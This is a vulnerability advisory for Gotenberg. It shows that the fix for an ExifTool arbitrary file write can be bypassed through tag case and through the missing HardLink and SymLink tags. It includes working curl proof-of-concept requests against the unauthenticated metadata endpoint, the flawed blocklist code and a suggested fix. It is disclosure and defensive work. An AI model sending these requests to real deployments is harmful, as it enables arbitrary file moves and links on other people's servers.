Gotenberg has incomplete fix for ExifTool arbitrary file write: case-insensitive bypass and missing HardLink/SymLink tags

Summary

## Summary

The fix for ExifTool arbitrary file write (commit `043b158`, released in v8.29.0) uses a case-sensitive blocklist to filter dangerous pseudo-tags. ExifTool processes tag names case-insensitively, so alternate casings bypass the filter. The blocklist also omits the `HardLink` and `SymLink` pseudo-tags entirely.

Confirmed end-to-end against Gotenberg v8.29.1 via the unauthenticated HTTP API.

## Root Cause

`pkg/modules/exiftool/exiftool.go` lines 231-237:

dangerousTags := []string{ "FileName", // Writing this triggers a file rename in ExifTool "Directory", // Writing this triggers a file move in ExifTool } for _, tag := range dangerousTags { delete(metadata, tag) }

Go's `delete(metadata, tag)` is case-sensitive. It only removes the exact keys `"FileName"` and `"Directory"`. ExifTool processes tag names case-insensitively (per ExifTool documentation). Alternate casings like `filename`, `FILENAME`, `directory` all bypass the Go blocklist but ExifTool treats them identically.

The go-exiftool library passes tag names directly to ExifTool's stdin at line 258:

fmt.Fprintln(e.stdin, "-"+k+"="+str)

So `filename` becomes `-filename=/attacker/path` which ExifTool interprets as `-FileName=/attacker/path`.

The blocklist also omits two dangerous ExifTool pseudo-tags: - `HardLink`: creates a hard link to the file at the specified path - `SymLink`: creates a symbolic link to the file at the specified path

## PoC

All three vectors confirmed against a running Gotenberg v8.29.1 Docker container.

**Case-insensitive filename bypass (file moved to /tmp/evil_bypass.pdf):**

curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \ -F files=@sample.pdf \ -F 'metadata={"filename": "/tmp/evil_bypass.pdf"}'

**HardLink (hard link created at /tmp/hardlink_bypass.pdf):**

curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \ -F files=@sample.pdf \ -F 'metadata={"HardLink": "/tmp/hardlink_bypass.pdf"}'

**SymLink (symbolic link created at /tmp/symlink_bypass.pdf):**

curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \ -F files=@sample.pdf \ -F 'metadata={"SymLink": "/tmp/symlink_bypass.pdf"}'

Verification inside the container:

$ docker exec gotenberg-poc ls -la /tmp/evil_bypass.pdf /tmp/hardlink_bypass.pdf /tmp/symlink_bypass.pdf -rw-r--r-- 1 gotenberg gotenberg 321 ... /tmp/evil_bypass.pdf -rw-r--r-- 1 gotenberg gotenberg 321 ... /tmp/hardlink_bypass.pdf lrwxrwxrwx 1 gotenberg gotenberg 119 ... /tmp/symlink_bypass.pdf -> /tmp/.../source.pdf

Also confirmed ExifTool case-insensitivity directly:

exiftool -filename=bypassed.pdf test.pdf # Works identically to -FileName=

## Impact

An attacker with access to the Gotenberg API (unauthenticated by default) can:

1. Rename/move uploaded PDFs to arbitrary filesystem paths via lowercase `filename`/`directory` 2. Create hard links at arbitrary paths via `HardLink`, persisting data beyond temp directory cleanup 3. Create symbolic links at arbitrary paths via `SymLink`

In containerized deployments, impact is limited to the container filesystem (DoS by overwriting temp files). In bare-metal deployments or those with shared volumes, this can affect other services.

## Suggested Fix

Use case-insensitive comparison and expand the blocklist:

dangerousTags := []string{ "FileName", "Directory", "HardLink", "SymLink", } for key := range metadata { for _, tag := range dangerousTags { if strings.EqualFold(key, tag) { delete(metadata, key) } } }